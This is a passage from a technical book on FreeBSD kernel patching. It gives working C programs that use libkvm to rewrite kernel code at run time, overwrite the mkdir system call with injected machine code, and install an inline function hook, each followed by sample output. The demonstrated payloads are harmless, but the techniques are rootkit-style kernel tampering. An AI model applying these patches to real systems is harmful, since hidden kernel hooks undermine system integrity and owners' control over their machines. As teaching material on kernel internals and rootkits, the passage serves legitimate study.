In fact, it’s possible that when compiled, hello.c will not even include a 
jns instruction, as there are multiple ways to represent a for loop in machine 
code. Furthermore, recall that the disassembly of hello.ko identified two 
instructions that require dynamic relocation. This means that the first 0x79 
byte encountered may be part of those instructions, and not the actual jns 
instruction. That’s why this is an example and not a real program.

NOTE To get around these problems, use longer and/or more search signatures. You could also 
use hard-coded offsets, but your code would break on some systems.

Another interesting detail worth mentioning is that when I patch hello 
with kvm_write, I � pass sizeof(nop_code) – 1, not sizeof(nop_code), as the 
nbytes argument. In C, character arrays are null terminated; therefore, 
sizeof(nop_code) returns three. However, I only want to write two nops, 
not two nops and a NULL.
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The following output shows the results of executing hello before and 
after running fix_hello on ttyv0 (i.e., the system console):

$ sudo kldload ./hello.ko
System call loaded at offset 210.
$ perl -e 'syscall(210);'
FreeBSD Rocks!
FreeBSD Rocks!
FreeBSD Rocks!
FreeBSD Rocks!
FreeBSD Rocks!
FreeBSD Rocks!
FreeBSD Rocks!
FreeBSD Rocks!
FreeBSD Rocks!
FreeBSD Rocks!
$ gcc -o fix_hello fix_hello.c –lkvm
$ sudo ./fix_hello
$ perl -e 'syscall(210);'
FreeBSD Rocks!

Success! Now let’s try something a little more advanced.

5.3 Understanding x86 Call Statements

In x86 assembly the call statement is a control transfer instruction used to 
call a function or procedure. There are two types of call statements: near and 
far. For our purposes, we only need to understand near call statements. The 
following (contrived) code segment illustrates the details of a near call.

 200:   bb 12 95 00 00          mov    $0x9512,%ebx
 205:   e8 f6 00 00 00          call   300
 20a:   b8 2f 14 00 00          mov    $0x142f,%eax

In the above code snippet, when the instruction pointer reaches address 
205—the call statement—it will jump to address 300. The hexadecimal rep-
resentation for a call statement is e8. However, f6 00 00 00 is obviously not 
300. At first glance, it appears that the machine code and assembly code 
don’t match, but in fact, they do. In a near call, the address of the instruction 
after the call statement is saved on the stack, so that the called procedure 
knows where to return to. Thus, the machine code operand for a call state-
ment is the address of the called procedure, minus the address of the instruc-
tion following the call statement (0x300 – 0x20a = 0xf6). This explains why the 
machine code operand for call is f6 00 00 00 in this example, not 00 03 00 00. 
This is an important point that will come into play shortly.

5.3.1 Patching Call Statements
Going back to Listing 5-1, let’s say that when we nop out the for loop, we also 
want hello to call uprintf instead of printf. The program in Listing 5-3 
patches hello to do just that.
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#include <fcntl.h>
#include <kvm.h>
#include <limits.h>
#include <nlist.h>
#include <stdio.h>
#include <sys/types.h>

#define SIZE    0x30

/* Replacement code. */
unsigned char nop_code[] =
        "\x90\x90";             /* nop          */

int
main(int argc, char *argv[])
{
        int i, jns_offset, call_offset;
        char errbuf[_POSIX2_LINE_MAX];
        kvm_t *kd;
        struct nlist nl[] = { {NULL}, {NULL}, {NULL}, };
        unsigned char hello_code[SIZE], call_operand[4];

        /* Initialize kernel virtual memory access. */
        kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
        if (kd == NULL) {
                fprintf(stderr, "ERROR: %s\n", errbuf);
                exit(-1);
        }

        nl[0].n_name = "hello";
        nl[1].n_name = "uprintf";

        /* Find the address of hello and uprintf. */
        if (�kvm_nlist(kd, nl) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        if (!nl[0].n_value) {
                fprintf(stderr, "ERROR: Symbol %s not found\n",
                    nl[0].n_name);
                exit(-1);
        }

        if (!nl[1].n_value) {
                fprintf(stderr, "ERROR: Symbol %s not found\n",
                    nl[1].n_name);
                exit(-1);
        }

        /* Save a copy of hello. */
        if (kvm_read(kd, nl[0].n_value, hello_code, SIZE) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
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        }

        /* Search through hello for the jns and call instructions. */
        for (i = 0; i < SIZE; i++) {
                if (hello_code[i] == 0x79)
                        jns_offset = i;
                if (hello_code[i] == 0xe8)
                        �call_offset = i;
        }

        /* Calculate the call statement operand. */
        *(unsigned long *)&call_operand[0] = �nl[1].n_value -
            �(nl[0].n_value + call_offset + 5);

        /* Patch hello. */
        if (kvm_write(kd, nl[0].n_value + jns_offset, nop_code,
            sizeof(nop_code) - 1) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        if (�kvm_write(kd, nl[0].n_value + call_offset + 1, call_operand,
            sizeof(call_operand)) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        /* Close kd. */
        if (kvm_close(kd) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        exit(0);
}

Listing 5-3: fix_hello_improved.c

Notice how hello is patched to invoke uprintf instead of printf. First, the 
addresses of hello and uprintf are � stored in nl[0].n_value and nl[1].n_value, 
respectively. Next, the relative address of call within hello is � stored in 
call_offset. Then, a new call statement operand is calculated by subtracting 
� the address of the instruction following call from � the address of uprintf. 
This value is stored in call_operand[]. Finally, the old call statement operand 
is � overwritten with call_operand[].

The following output shows the results of executing hello, before and 
after running fix_hello_improved on ttyv1:

$ sudo kldload ./hello.ko
System call loaded at offset 210.
$ perl -e 'syscall(210);'
$ gcc -o fix_hello_improved fix_hello_improved.c –lkvm
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$ sudo ./fix_hello_improved
$ perl -e 'syscall(210);'
FreeBSD Rocks!

Success! At this point, you should have no trouble patching any kernel 
code byte. However, what happens when the patch you want to apply is too 
big and will overwrite nearby instructions that you require? The answer is . . .

5.4 Allocating Kernel Memory

In this section I’ll describe a set of core functions and macros used to allocate 
and deallocate kernel memory. We’ll put these functions to use later on, when 
we explicitly solve the problem outlined above.

5.4.1 The malloc Function

The malloc function allocates a specified number of bytes of memory in kernel 
space. If successful, a kernel virtual address (that is suitably aligned for storage 
of any data object) is returned. If an error is encountered, NULL is returned 
instead.

Here is the function prototype for malloc:

#include <sys/types.h>
#include <sys/malloc.h>

void *
malloc(unsigned long size, struct malloc_type *type, int flags);

The following is a brief description of each parameter.

size
This specifies the amount of uninitialized kernel memory to allocate.

type
This parameter is used to perform statistics on memory usage and for 
basic sanity checks. (Memory statistics can be viewed by running the 
command vmstat –m.) Typically, I’ll set this parameter to M_TEMP, which 
is the malloc_type for miscellaneous temporary data buffers.

NOTE For more on struct malloc_type, see the malloc(9) manual page.

flags
This parameter further qualifies malloc’s operational characteristics. It 
can be set to any of the following values:

M_ZERO This causes the allocated memory to be set to zero.

M_NOWAIT This causes malloc to return NULL if the allocation request 
cannot be fulfilled immediately. This flag should be set when calling 
malloc in an interrupt context.
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M_WAITOK This causes malloc to sleep and wait for resources if the 
allocation request cannot be fulfilled immediately. If this flag is set, 
malloc cannot return NULL.

Either M_NOWAIT or M_WAITOK must be specified.

5.4.2 The MALLOC Macro

For compatibility with legacy code, the malloc function is called with the 
MALLOC macro, which is defined as follows:

#include <sys/types.h>
#include <sys/malloc.h>

MALLOC(space, cast, unsigned long size, struct malloc_type *type, int flags);

This macro is functionally equivalent to:

(space) = (cast)malloc((u_long)(size), type, flags)

5.4.3 The free Function

To deallocate kernel memory that was previously allocated by malloc, call the 
free function.

#include <sys/types.h>
#include <sys/malloc.h>

void
free(void *addr, struct malloc_type *type);

Here, addr is the memory address returned by a previous malloc call, and 
type is its associated malloc_type.

5.4.4 The FREE Macro

For compatibility with legacy code, the free function is called with the FREE 
macro, which is defined as follows:

#include <sys/types.h>
#include <sys/malloc.h>

FREE(void *addr, struct malloc_type *type);

This macro is functionally equivalent to:

free((addr), type)
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NOTE At some point in 4BSD’s history, part of its malloc algorithm was inline in a macro,
which is why there is a MALLOC macro in addition to a function call.1 However, FreeBSD’s 
malloc algorithm is just a function call. Thus, unless you are writing legacy-compatible 
code, the use of the MALLOC and FREE macros is discouraged.

5.4.5 Example

Listing 5-4 shows a system call module designed to allocate kernel memory. 
The system call is invoked with two arguments: a long integer containing 
the amount of memory to allocate and a long integer pointer to store the 
returned address.

#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/malloc.h>

struct kmalloc_args {
        unsigned long size;
        unsigned long *addr;
};

/* System call to allocate kernel virtual memory. */
static int
kmalloc(struct thread *td, void *syscall_args)
{
        struct kmalloc_args *uap;
        uap = (struct kmalloc_args *)syscall_args;

        int error;
        unsigned long addr;

        �MALLOC(addr, unsigned long, uap->size, M_TEMP, M_NOWAIT);
        �error = copyout(&addr, uap->addr, sizeof(addr));

        return(error);
}

/* The sysent for the new system call. */
static struct sysent kmalloc_sysent = {
        2,                      /* number of arguments */
        kmalloc                 /* implementing function */
};

/* The offset in sysent[] where the system call is to be allocated. */
static int offset = NO_SYSCALL;

1 John Baldwin, personal communication, 2006–2007.
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/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
        int error = 0;

        switch (cmd) {
        case MOD_LOAD:
                uprintf("System call loaded at offset %d.\n", offset);
                break;

        case MOD_UNLOAD:
                uprintf("System call unloaded from offset %d.\n", offset);
                break;

        default:
                error = EOPNOTSUPP;
                break;
        }

        return(error);
}

SYSCALL_MODULE(kmalloc, &offset, &kmalloc_sysent, load, NULL);

Listing 5-4: kmalloc.c

As you can see, this code simply � calls the MALLOC macro to allocate 
uap->size amount of kernel memory, and then � copies out the returned 
address to user space.

Listing 5-5 is the user space program designed to execute the system call 
above.

#include <stdio.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/module.h>

int
main(int argc, char *argv[])
{
        int syscall_num;
        struct module_stat stat;

        unsigned long addr;

        if (argc != 2) {
                printf("Usage:\n%s <size>\n", argv[0]);
                exit(0);
        }

        stat.version = sizeof(stat);
        modstat(modfind("kmalloc"), &stat);
        syscall_num = stat.data.intval;
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        syscall(syscall_num, (unsigned long)atoi(argv[1]), &addr);
        printf("Address of allocated kernel memory: 0x%x\n", addr);

        exit(0);
}

Listing 5-5: interface.c

This program uses the modstat/modfind approach (described in Chapter 1) 
to pass the first command-line argument to kmalloc; this argument should 
contain the amount of kernel memory to allocate. It then outputs the kernel 
virtual address where the recently allocated memory is located.

5.5 Allocating Kernel Memory from User Space

Now that you’ve seen how to “properly” allocate kernel memory using module 
code, let’s do it using run-time kernel memory patching. Here is the algorithm 
(Cesare, 1998, as cited in sd and devik, 2001) we’ll be using:

1. Retrieve the in-memory address of the mkdir system call.

2. Save sizeof(kmalloc) bytes of mkdir.

3. Overwrite mkdir with kmalloc.

4. Call mkdir.

5. Restore mkdir.

With this algorithm, you are basically patching a system call with your 
own code, issuing the system call (which will execute your code instead), and 
then restoring the system call. This algorithm can be used to execute any 
piece of code in kernel space without a KLD.

However, keep in mind that when you overwrite a system call, any process 
that issues or is currently executing the system call will break, resulting in a 
kernel panic. In other words, inherent to this algorithm is a race condition 
or concurrency issue.

5.5.1 Example

Listing 5-6 shows a user space program designed to allocate kernel memory. 
This program is invoked with one command-line argument: an integer 
containing the number of bytes to allocate.

#include <fcntl.h>
#include <kvm.h>
#include <limits.h>
#include <nlist.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/module.h>
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/* Kernel memory allocation (kmalloc) function code. */
�unsigned char kmalloc[] =
        "\x55"                          /* push   %ebp                  */
        "\xb9\x01\x00\x00\x00"          /* mov    $0x1,%ecx             */
        "\x89\xe5"                      /* mov    %esp,%ebp             */
        "\x53"                          /* push   %ebx                  */
        "\xba\x00\x00\x00\x00"          /* mov    $0x0,%edx             */
        "\x83\xec\x10"                  /* sub    $0x10,%esp            */
        "\x89\x4c\x24\x08"              /* mov    %ecx,0x8(%esp)        */
        "\x8b\x5d\x0c"                  /* mov    0xc(%ebp),%ebx        */
        "\x89\x54\x24\x04"              /* mov    %edx,0x4(%esp)        */
        "\x8b\x03"                      /* mov    (%ebx),%eax           */
        "\x89\x04\x24"                  /* mov    %eax,(%esp)           */
        "\xe8\xfc\xff\xff\xff"          /* call   4e2 <kmalloc+0x22>    */
        "\x89\x45\xf8"                  /* mov    %eax,0xfffffff8(%ebp) */
        "\xb8\x04\x00\x00\x00"          /* mov    $0x4,%eax             */
        "\x89\x44\x24\x08"              /* mov    %eax,0x8(%esp)        */
        "\x8b\x43\x04"                  /* mov    0x4(%ebx),%eax        */
        "\x89\x44\x24\x04"              /* mov    %eax,0x4(%esp)        */
        "\x8d\x45\xf8"                  /* lea    0xfffffff8(%ebp),%eax */
        "\x89\x04\x24"                  /* mov    %eax,(%esp)           */
        "\xe8\xfc\xff\xff\xff"          /* call   500 <kmalloc+0x40>    */
        "\x83\xc4\x10"                  /* add    $0x10,%esp            */
        "\x5b"                          /* pop    %ebx                  */
        "\x5d"                          /* pop    %ebp                  */
        "\xc3"                          /* ret                          */
        "\x8d\xb6\x00\x00\x00\x00";     /* lea    0x0(%esi),%esi        */

/*
 * The relative address of the instructions following the call statements
 * within kmalloc.
 */
#define OFFSET_1        0x26
#define OFFSET_2        0x44

int
main(int argc, char *argv[])
{
        int i;
        char errbuf[_POSIX2_LINE_MAX];
        kvm_t *kd;
        struct nlist nl[] = { {NULL}, {NULL}, {NULL}, {NULL}, {NULL}, };
        unsigned char mkdir_code[sizeof(kmalloc)];
        unsigned long addr;

        if (argc != 2) {
                printf("Usage:\n%s <size>\n", argv[0]);
                exit(0);
        }

        /* Initialize kernel virtual memory access. */
        kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
        if (kd == NULL) {
                fprintf(stderr, "ERROR: %s\n", errbuf);
                exit(-1);
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        }

        nl[0].n_name = "mkdir";
        nl[1].n_name = "M_TEMP";
        nl[2].n_name = "malloc";
        nl[3].n_name = "copyout";

        /* Find the address of mkdir, M_TEMP, malloc, and copyout. */
        if (kvm_nlist(kd, nl) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        for (i = 0; i < 4; i++) {
                if (!nl[i].n_value) {
                        fprintf(stderr, "ERROR: Symbol %s not found\n",
                            nl[i].n_name);
                        exit(-1);
                }
        }

        /*
         * Patch the kmalloc function code to contain the correct addresses
         * for M_TEMP, malloc, and copyout.
         */
        *(unsigned long *)&kmalloc[10] = nl[1].n_value;
        *(unsigned long *)&kmalloc[34] = nl[2].n_value -
            (nl[0].n_value + OFFSET_1);
        *(unsigned long *)&kmalloc[64] = nl[3].n_value -
            (nl[0].n_value + OFFSET_2);

        /* Save sizeof(kmalloc) bytes of mkdir. */
        if (kvm_read(kd, nl[0].n_value, mkdir_code, sizeof(kmalloc)) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        /* Overwrite mkdir with kmalloc. */
        if (kvm_write(kd, nl[0].n_value, kmalloc, sizeof(kmalloc)) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        /* Allocate kernel memory. */
        syscall(136, (unsigned long)atoi(argv[1]), &addr);
        printf("Address of allocated kernel memory: 0x%x\n", addr);

        /* Restore mkdir. */
        if (kvm_write(kd, nl[0].n_value, mkdir_code, sizeof(kmalloc)) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        /* Close kd. */
        if (kvm_close(kd) < 0) {
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                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        exit(0);
}

Listing 5-6: kmalloc_reloaded.c

In the preceding code, the � kmalloc function code was generated by 
disassembling the kmalloc system call from Listing 5-4:

$ objdump –dR ./kmalloc.ko

./kmalloc.ko:     file format elf32-i386-freebsd

Disassembly of section .text:

000004c0 <kmalloc>:
 4c0:   55                      push   %ebp
 4c1:   b9 01 00 00 00          mov    $0x1,%ecx
 4c6:   89 e5                   mov    %esp,%ebp
 4c8:   53                      push   %ebx
 4c9:   ba 00 00 00 00          mov    $0x0,%edx
                        �4ca: R_386_32   M_TEMP
 4ce:   83 ec 10                sub    $0x10,%esp
 4d1:   89 4c 24 08             mov    %ecx,0x8(%esp)
 4d5:   8b 5d 0c                mov    0xc(%ebp),%ebx
 4d8:   89 54 24 04             mov    %edx,0x4(%esp)
 4dc:   8b 03                   mov    (%ebx),%eax
 4de:   89 04 24                mov    %eax,(%esp)
 4e1:   e8 fc ff ff ff          call   4e2 <kmalloc+0x22>
                        �4e2: R_386_PC32 malloc
 4e6:   89 45 f8                mov    %eax,0xfffffff8(%ebp)
 4e9:   b8 04 00 00 00          mov    $0x4,%eax
 4ee:   89 44 24 08             mov    %eax,0x8(%esp)
 4f2:   8b 43 04                mov    0x4(%ebx),%eax
 4f5:   89 44 24 04             mov    %eax,0x4(%esp)
 4f9:   8d 45 f8                lea    0xfffffff8(%ebp),%eax
 4fc:   89 04 24                mov    %eax,(%esp)
 4ff:   e8 fc ff ff ff          call   500 <kmalloc+0x40>
                        �500: R_386_PC32 copyout
 504:   83 c4 10                add    $0x10,%esp
 507:   5b                      pop    %ebx
 508:   5d                      pop    %ebp
 509:   c3                      ret    
 50a:   8d b6 00 00 00 00       lea    0x0(%esi),%esi

Notice how objdump(1) reports three instructions that require dynamic 
relocation. The first, at offset 10, is � for the address of M_TEMP. The second, 
at offset 34, is � for the malloc call statement operand. And the third, at 
offset 64, is � for the copyout call statement operand.
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In kmalloc_reloaded.c, we account for this in our kmalloc function code 
with the following five lines:

        *(unsigned long *)&kmalloc[10] = �nl[1].n_value;
        *(unsigned long *)&kmalloc[34] = �nl[2].n_value -
            �(nl[0].n_value + OFFSET_1);
        *(unsigned long *)&kmalloc[64] = �nl[3].n_value -
            �(nl[0].n_value + OFFSET_2);

Notice how kmalloc is patched at offset 10 with � the address of M_TEMP. 
It is also patched at offsets 34 and 64 with � the address of malloc minus � 
the address of the instruction following the malloc call, and � the address of 
copyout minus � the address of the instruction following the copyout call, 
respectively.

The following output shows kmalloc_reloaded in action:

$ gcc -o kmalloc_reloaded kmalloc_reloaded.c -lkvm
$ sudo ./kmalloc_reloaded 10
Address of allocated kernel memory: 0xc1bb91b0

To verify the kernel memory allocation, you can use a kernel-mode 
debugger like ddb(4):

KDB: enter: manual escape to debugger
[thread pid 13 tid 100003 ]          
Stopped at      kdb_enter+0x2c: leave
db> examine/x 0xc1bb91b0             
0xc1bb91b0:     70707070             
db>                                  
0xc1bb91b4:     70707070             
db>                                  
0xc1bb91b8:     dead7070             

5.6 Inline Function Hooking

Recall the problem posed at the end of Section 5.3.1: What do you do when 
you want to patch some kernel code, but your patch is too big and will over-
write nearby instructions that you require? The answer is: You use an inline 
function hook.

In general, an inline function hook places an unconditional jump within 
the body of a function to a region of memory under your control. This mem-
ory will contain the “new” code you want the function to execute, the code 
bytes that were overwritten by the unconditional jump, and an unconditional 
jump back to the original function. This will extend functionality while pre-
serving original behavior. Of course, you don’t have to preserve the original 
behavior.
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5.6.1 Example

In this section we’ll patch the mkdir system call with an inline function 
hook so that it will output the phrase “Hello, world!\n” each time it creates 
a directory.

Now, let’s take a look at the disassembly of mkdir to see where we should 
place the jump, which bytes we need to preserve, and where we should jump 
back to.

$ nm /boot/kernel/kernel | grep mkdir
c04dfc00 T devfs_vmkdir
c06a84e0 t handle_written_mkdir
c05bfa10 T kern_mkdir
c05bfec0 T mkdir
c07d1f40 B mkdirlisthd
c04ef6a0 t msdosfs_mkdir
c06579e0 t nfs4_mkdir
c066a910 t nfs_mkdir
c067a830 T nfsrv_mkdir
c07515b6 r nfsv3err_mkdir
c06c32e0 t ufs_mkdir
c07b8d20 D vop_mkdir_desc
c05b77f0 T vop_mkdir_post
c07b8d44 d vop_mkdir_vp_offsets
$ objdump -d --start-address=0xc05bfec0 /boot/kernel/kernel

/boot/kernel/kernel:     file format elf32-i386-freebsd

Disassembly of section .text:

c05bfec0 <mkdir>:
c05bfec0:       55                      push   %ebp
c05bfec1:       89 e5                   mov    %esp,%ebp
c05bfec3:       83 ec 10                sub    $0x10,%esp
c05bfec6:       8b 55 0c                mov    0xc(%ebp),%edx
c05bfec9:       8b 42 04                mov    0x4(%edx),%eax
c05bfecc:       89 44 24 0c             mov    %eax,0xc(%esp)
c05bfed0:       31 c0                   xor    %eax,%eax
c05bfed2:       89 44 24 08             mov    %eax,0x8(%esp)
c05bfed6:       8b 02                   mov    (%edx),%eax
c05bfed8:       89 44 24 04             mov    %eax,0x4(%esp)
c05bfedc:       8b 45 08                mov    0x8(%ebp),%eax
c05bfedf:       89 04 24                mov    %eax,(%esp)
c05bfee2:       e8 29 fb ff ff          call   c05bfa10 <kern_mkdir>
c05bfee7:       c9                      leave
c05bfee8:       c3                      ret
c05bfee9:       8d b4 26 00 00 00 00    lea    0x0(%esi),%esi

Because I want to extend the functionality of mkdir, rather than change 
it, the best place for the unconditional jump is at the beginning. An uncondi-
tional jump requires seven bytes. If you overwrite the first seven bytes of mkdir, 
the first three instructions will be eliminated, and the fourth instruction 
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(which starts at offset six) will be mangled. Therefore, we’ll need to save the 
first four instructions (i.e., the first nine bytes) in order to preserve mkdir’s 
functionality; this also means that you should jump back to offset nine to 
resume execution from the fifth instruction.

Before committing to this plan, however, let’s look at the disassembly of 
mkdir on a different machine.

$ nm /boot/kernel/kernel | grep mkdir
c047c560 T devfs_vmkdir
c0620e40 t handle_written_mkdir
c0556ca0 T kern_mkdir
c0557030 T mkdir
c071d57c B mkdirlisthd
c048a3e0 t msdosfs_mkdir
c05e2ed0 t nfs4_mkdir
c05d8710 t nfs_mkdir
c05f9140 T nfsrv_mkdir
c06b4856 r nfsv3err_mkdir
c063a670 t ufs_mkdir
c0702f40 D vop_mkdir_desc
c0702f64 d vop_mkdir_vp_offsets
$ objdump -d --start-address=0xc0557030 /boot/kernel/kernel

/boot/kernel/kernel:     file format elf32-i386-freebsd

Disassembly of section .text:

c0557030 <mkdir>:
c0557030:       55                      push   %ebp
c0557031:       31 c9                   xor    %ecx,%ecx
c0557033:       89 e5                   mov    %esp,%ebp
c0557035:       83 ec 10                sub    $0x10,%esp
c0557038:       8b 55 0c                mov    0xc(%ebp),%edx
c055703b:       8b 42 04                mov    0x4(%edx),%eax
c055703e:       89 4c 24 08             mov    %ecx,0x8(%esp)
c0557042:       89 44 24 0c             mov    %eax,0xc(%esp)
c0557046:       8b 02                   mov    (%edx),%eax
c0557048:       89 44 24 04             mov    %eax,0x4(%esp)
c055704c:       8b 45 08                mov    0x8(%ebp),%eax
c055704f:       89 04 24                mov    %eax,(%esp)
c0557052:       e8 49 fc ff ff          call   c0556ca0 <kern_mkdir>
c0557057:       c9                      leave  
c0557058:       c3                      ret    
c0557059:       8d b4 26 00 00 00 00    lea    0x0(%esi),%esi

Notice how the two disassemblies are quite different. In fact, this time 
around the fifth instruction starts at offset eight, not nine. If the code were to 
jump back to offset nine, it would most definitely crash this system. What this 
boils down to is that when writing an inline function hook, in general, you’ll 
have to avoid using hard-coded offsets if you want to apply the hook to a wide 
range of systems.
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Looking back at the two disassemblies, notice how mkdir calls kern_mkdir 
every time. Therefore, we can jump back to that (i.e., 0xe8). In order to 
preserve mkdir’s functionality, we’ll now have to save every byte up to, but 
not including, 0xe8.

Listing 5-7 shows my mkdir inline function hook.

NOTE To save space, the kmalloc function code is omitted.

#include <fcntl.h>
#include <kvm.h>
#include <limits.h>
#include <nlist.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/module.h>

/* Kernel memory allocation (kmalloc) function code. */
unsigned char kmalloc[] =
. . .

/*
 * The relative address of the instructions following the call statements
 * within kmalloc.
 */
#define K_OFFSET_1      0x26
#define K_OFFSET_2      0x44

/* "Hello, world!\n" function code. */
�unsigned char hello[] =
        "\x48"                          /* H                            */
        "\x65"                          /* e                            */
        "\x6c"                          /* l                            */
        "\x6c"                          /* l                            */
        "\x6f"                          /* o                            */
        "\x2c"                          /* ,                            */
        "\x20"                          /*                              */
        "\x77"                          /* w                            */
        "\x6f"                          /* o                            */
        "\x72"                          /* r                            */
        "\x6c"                          /* l                            */
        "\x64"                          /* d                            */
        "\x21"                          /* !                            */
        "\x0a"                          /* \n                           */
        "\x00"                          /* NULL                         */
        "\x55"                          /* push   %ebp                  */
        "\x89\xe5"                      /* mov    %esp,%ebp             */
        "\x83\xec\x04"                  /* sub    $0x4,%esp             */
        "\xc7\x04\x24\x00\x00\x00\x00"  /* movl   $0x0,(%esp)           */
        "\xe8\xfc\xff\xff\xff"          /* call   uprintf               */
        "\x31\xc0"                      /* xor    %eax,%eax             */
        "\x83\xc4\x04"                  /* add    $0x4,%esp             */
        "\x5d";                         /* pop    %ebp                  */
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/*
 * The relative address of the instruction following the call uprintf
 * statement within hello.
 */
#define H_OFFSET_1      0x21

/* Unconditional jump code. */
unsigned char jump[] =
        "\xb8\x00\x00\x00\x00"          /* movl   $0x0,%eax             */
        "\xff\xe0";                     /* jmp    *%eax                 */

int
main(int argc, char *argv[])
{
        int i, call_offset;
        char errbuf[_POSIX2_LINE_MAX];
        kvm_t *kd;
        struct nlist nl[] = { {NULL}, {NULL}, {NULL}, {NULL}, {NULL},
            {NULL}, };
        unsigned char mkdir_code[sizeof(kmalloc)];
        unsigned long addr, size;

        /* Initialize kernel virtual memory access. */
        kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
        if (kd == NULL) {
                fprintf(stderr, "ERROR: %s\n", errbuf);
                exit(-1);
        }

        nl[0].n_name = "mkdir";
        nl[1].n_name = "M_TEMP";
        nl[2].n_name = "malloc";
        nl[3].n_name = "copyout";
        nl[4].n_name = "uprintf";

        /*
         * Find the address of mkdir, M_TEMP, malloc, copyout,
         * and uprintf.
         */
        if (kvm_nlist(kd, nl) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        for (i = 0; i < 5; i++) {
                if (!nl[i].n_value) {
                        fprintf(stderr, "ERROR: Symbol %s not found\n",
                            nl[i].n_name);
                        exit(-1);
                }
        }

        /* Save sizeof(kmalloc) bytes of mkdir. */
        if (kvm_read(kd, nl[0].n_value, mkdir_code, sizeof(kmalloc)) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }
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        /* Search through mkdir for call kern_mkdir. */
        for (i = 0; i < sizeof(kmalloc); i++) {
                if (mkdir_code[i] == 0xe8) {
                        call_offset = i;
                        break;
                }
        }

        /* Determine how much memory you need to allocate. */
        size = (unsigned long)sizeof(hello) + (unsigned long)call_offset +
            (unsigned long)sizeof(jump);

        /*
         * Patch the kmalloc function code to contain the correct addresses
         * for M_TEMP, malloc, and copyout.
         */
        *(unsigned long *)&kmalloc[10] = nl[1].n_value;
        *(unsigned long *)&kmalloc[34] = nl[2].n_value -
            (nl[0].n_value + K_OFFSET_1);
        *(unsigned long *)&kmalloc[64] = nl[3].n_value -
            (nl[0].n_value + K_OFFSET_2);

        /* Overwrite mkdir with kmalloc. */
        if (kvm_write(kd, nl[0].n_value, kmalloc, sizeof(kmalloc)) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        /* Allocate kernel memory. */
        syscall(136, size, &addr);

        /* Restore mkdir. */
        if (kvm_write(kd, nl[0].n_value, mkdir_code, sizeof(kmalloc)) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        /*
         * Patch the "Hello, world!\n" function code to contain the
         * correct addresses for the "Hello, world!\n" string and uprintf.
         */
        *(unsigned long *)&hello[24] = addr;
        *(unsigned long *)&hello[29] = nl[4].n_value - (addr + H_OFFSET_1);

        /*
         * Place the "Hello, world!\n" function code into the recently
         * allocated kernel memory.
         */
        if (kvm_write(kd, addr, hello, sizeof(hello)) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        /*
         * Place all the mkdir code up to but not including call kern_mkdir
         * after the "Hello, world!\n" function code.
         */
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        if (kvm_write(kd, addr + (unsigned long)sizeof(hello) - 1,
            mkdir_code, call_offset) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        /*
         * Patch the unconditional jump code to jump back to the call
         * kern_mkdir statement within mkdir.
         */
        *(unsigned long *)&jump[1] = nl[0].n_value +
            (unsigned long)call_offset;

        /*
         * Place the unconditional jump code into the recently allocated
         * kernel memory, after the mkdir code.
         */
        if (kvm_write(kd, addr + (unsigned long)sizeof(hello) - 1 +
            (unsigned long)call_offset, jump, sizeof(jump)) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        /*
         * Patch the unconditional jump code to jump to the start of the
         * "Hello, world!\n" function code.
         */
        �*(unsigned long *)&jump[1] = addr + 0x0f;

        /*
         * Overwrite the beginning of mkdir with the unconditional
         * jump code.
         */
        if (kvm_write(kd, nl[0].n_value, jump, sizeof(jump)) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        /* Close kd. */
        if (kvm_close(kd) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        exit(0);
}

Listing 5-7: mkdir_patch.c

As you can see, employing an inline function hook is relatively straight-
forward (although it’s somewhat lengthy). In fact, the only piece of code 
you haven’t seen before is � the "Hello, world!\n" function code. It is rather 
simplistic, but there are two important points about it.
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First, notice how the first 15 bytes of hello are actually data; to be exact, 
these bytes make up the string Hello, world!\n. The actual assembly language 
instructions don’t start until offset 15. This is why the unconditional jump 
code, which overwrites mkdir, is � set to addr + 0x0f.

Second, note hello’s final three instructions. The first zeros out the %eax 
register, the second cleans up the stack, and the last restores the %ebp register. 
This is done so that when mkdir actually begins executing, it’s as if the hook 
never happened.

The following output shows mkdir_patch in action:

$ gcc -o mkdir_patch mkdir_patch.c –lkvm
$ sudo ./mkdir_patch
$ mkdir TESTING
Hello, world!
$ ls –F
TESTING/       mkdir_patch*   mkdir_patch.c

